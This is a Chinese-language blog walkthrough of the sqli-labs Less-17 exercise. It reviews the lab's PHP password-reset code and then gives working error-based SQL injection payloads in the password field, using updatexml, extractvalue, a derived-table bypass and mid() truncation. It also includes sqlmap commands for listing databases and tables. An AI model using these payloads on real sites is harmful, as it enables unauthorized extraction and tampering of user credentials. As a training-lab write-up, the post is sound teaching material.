首页 > 其他分享 >Less17基于报错的字符型注入

Less17基于报错的字符型注入

时间:2024-05-06 09:45:23浏览次数:27  
标签:username 字符 users value 报错 select Less17 concat

Less17基于报错的字符型注入

打开环境是一个密码重置页面

y1VD5OONuUcmS8kaPomrubS4FADH35WUDjBoBe4MC88

在用户名栏输入各种语句都无效,遂审计源码

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

这里面定义了个函数,输入的usename会在这里被滤一次,再看看几个过滤函数的意思

get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义

stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义

ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false

mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入

intval(),该函数用于将字符串转化为纯数字

分析完后发现,只要经过这里一次,基本上不能进行SQL注入了,但是password没有被过滤,所以能以password这里作为注入点,但是呢必须得输对用户名才行

if(isset($_POST['uname']) && isset($_POST['passwd']))  //需要用户名和密码都有输入
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  //对用户名参数做了输入检查

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)                  //当用户名存在时,才会执行修改密码的操作
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";

第一条SQL语句没有带password,第二条有,但是没有回显,可以利用报错盲注进行注入

一、手工注入

尝试admin帐号修改,发现存在该账号,故可在密码处进行注入

cfF5DuFFyUm2LScP6I5IWxPUL6dX8YQXuvbk7RudEC0

1.爆破数据表

-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1)),1) #

wJBOUmkIJQolxb0Xt2UpWJapCqC8g1QAMnQM-UX0NVQ

2.爆破字段名

-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) #

RvL33afG9KwMzUry3NN6T_adH9UmPLrVJlLykX2B45s

3.爆字段值

1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))#

此时出现报错

hrD2ua05Qlo0Ky_Dcjo-39BdHbXfEZtPpJTxYiqWQWA

对应的是update的语句,不能select表中的某些值,但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉

-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)#

h24bcHDAgUFumAVvB8w__mYzEm4tkHKcMoPWDvxwgUY

由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)

-1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#

Cef5_qR_imWm6O6oi2AqxJ2DzETGmMVyjHl8yMMAkZ4

二、SQLMap注入

通过BP进行抓包

y1sAfm-YMxbVG90b9Y6c1fdttgtUzQF4OJQmSOgYvaY

然后把内容保存到txt文件中,放到kali中跑脚本

sqlmap -r data.txt --dbs

CBDFNLFvVrmna46JtkX5R4k_Wpv8fuE81Qnt70oCtBc

wQc0L0YE6CIyEpRczMiAXlJVonQ-F-0X8lObBCPGxeQ

sqlmap -r data.txt -D security --tables

t8Q2H0wUkVwCrAHQxT5Wu0mYrwlGAumyrQIq8gZDZII

后续的步骤与之前关卡相同,就不再重复了

标签:username,字符,users,value,报错,select,Less17,concat
From: https://www.cnblogs.com/fishjumpriver/p/18174307

相关文章

  • 用php找出字符串中连续重复次数最多的字符,你有方法吗?
     找出字符串中连续重复次数最多的字符,这里总结了几种方法,不管是在开发中,还是在面试中都会遇到。方法一<?php$arr=str_split($str);//字符串分隔到数组中$arr=array_count_values($arr);//用于统计数组中所有值出现的次数,返回一个数组//键名为原数组的键值,键值为......
  • Less11基于post提交的单引号闭合的字符型注入
    Less11基于post提交的单引号闭合的字符型注入一、手工注入1.判断注入点判断注入类型是否为数字型1or1=11or1=2发现页面显示相同,因此不是数字型判断注入类型是否为字符型1'or1=1#1'or1=2#发现1=2页面异常报错,1=1正常。所以是单引号字符型闭合。2.爆破字段......
  • 数据类型之字符串
    1、字符串的定义单引号,双引号引起来的2、字符串的索引和切片和转义2.1索引:1.索引值从0开始索引超长会报错IndexError:stringindexoutofrange2.写法:str[0]2.2切片:1.[起始下标:终止下标:步长]:起始下标默认为0,步长默认为12.取头不取尾,左开右闭3.步长为正数,正......
  • Mac更新python3.12 解决pip3安装报错
    Mac使用homebrew更新了python3.12,删除了以前的版本和pip3安装软件时候报错。error:externally-managed-environment×Thisenvironmentisexternallymanaged╰─>ToinstallPythonpackagessystem-wide,trybrewinstallxyz,wherexyzisthepackageyouare......
  • [leetcode 87 扰乱字符串] [剪枝搜索]
    importjava.util.HashMap;importjava.util.Map;classSolution{publicstaticvoidmain(String[]args){Solutionsolution=newSolution();booleanres=solution.isScramble("eebaacbcbcadaaedceaaacadccd","eadcaacabad......
  • 代码随想录算法训练营第11天 | 栈与队列 20.有效的括号 1047.删除字符串中的所有相邻
    leetcode20.有效的括号题目20.有效的括号给定一个只包括'(',')','{','}','[',']'的字符串s,判断字符串是否有效。有效字符串需满足:左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序闭合。每个右括号都有一个对应的相同类型的左括号。解题思路实现代码leetcod......
  • 报错“ opensslErrorStack: [ 'error:03000086:digital envelope routines::initiali
    报错“ opensslErrorStack:['error:03000086:digitalenveloperoutines::initializationerror']”报错信息前端启动项目报错,报错信息如下:$yarnstartyarnrunv1.22.21$cross-envUMI_ENV=devumidevBrowserslist:caniuse-liteisoutdated.Pleaserun:npx......
  • 指针实现字符串匹配
    #include<stdio.h>voidcomp(char*sub,char*str){inti=0,j=0;//通过子串指针移动的次数等于字串的长度,实现匹配成功与否//下面代码是直接使用子串和主串是否同时用完子串长度的循环实现while(*str){for(i=0;*(sub+i)==*(str+i);i++)//判断子串......
  • 在Docker内部使用gdb调试器报错-Operation not permitted
    在docker内部使用gdb调试时刻遇到了gdb如下报错信息:warning:Errordisablingaddressspacerandomization:Operationnotpermitted原因地址随机化是linux一项安全特性,它允许内核进程启动每次加载库的时候都在随机化的分布在进程虚拟内存地址空间上(早期固定的库要加载......
  • C# String.Split 将字符串按照指定的分隔符分割成一个字符串数组
    以下两种方式都可以分割字符串string[]arr=s.Split('\n');string[]arr=s.Split(newchar[]{'\n'},StringSplitOptions.RemoveEmptyEntries);区别:string[]arr=s.Split('\n');:这种方式使用单个字符作为分隔符,将字符串s按照换行符('\n')进行分割。但是,此......